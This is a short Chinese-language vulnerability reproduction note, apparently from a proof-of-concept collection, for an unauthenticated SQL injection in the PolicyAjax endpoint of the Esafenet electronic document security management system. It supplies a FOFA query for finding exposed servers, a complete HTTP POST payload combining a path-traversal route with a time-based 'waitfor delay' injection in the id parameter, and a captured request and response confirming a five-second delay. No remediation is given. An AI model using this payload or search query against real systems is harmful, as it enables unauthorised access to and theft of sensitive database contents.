

Y5-51亿赛通-电子文档安全管理系统-SQL

漏洞描述:

由于某赛通电子文档安全管理系统 PolicyAjax处的id参数处对传入的数据没有预编译和充足的校验, 导致该接口存在SQL注入漏洞, 未授权的攻击者可获取数据库敏感信息。

网站图片:



网络测绘:

fofa语法:

FOFA: body="/CDGServer3/index.jsp"

漏洞复现:

payload:

```
POST /CDGServer3/dojojs/../../PolicyAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

command=selectOption&id=1';waitfor+delay+'0:0:5'--
```

效果图:

延时5秒

Request

```
1 POST /CDGServer3/dojojs/../../PolicyAjax HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.9
7 Connection: close
8 Content-Type: application/x-www-form-urlencoded
9 Upgrade-Insecure-Requests: 1
10
11 command=selectOption&id=1';waitfor+delay+'0:0:5'--
```

Responses 0bytes / 5035ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 X-Request-ID: 0cd038616d8741f0af2b63908d77
4 X-Protected-By: RASP
5 Content-Type: text/xml; charset=gbk
6 Date: Tue, 30 Jan 2024 16:24:27 GMT
7 Connection: close
8
9
```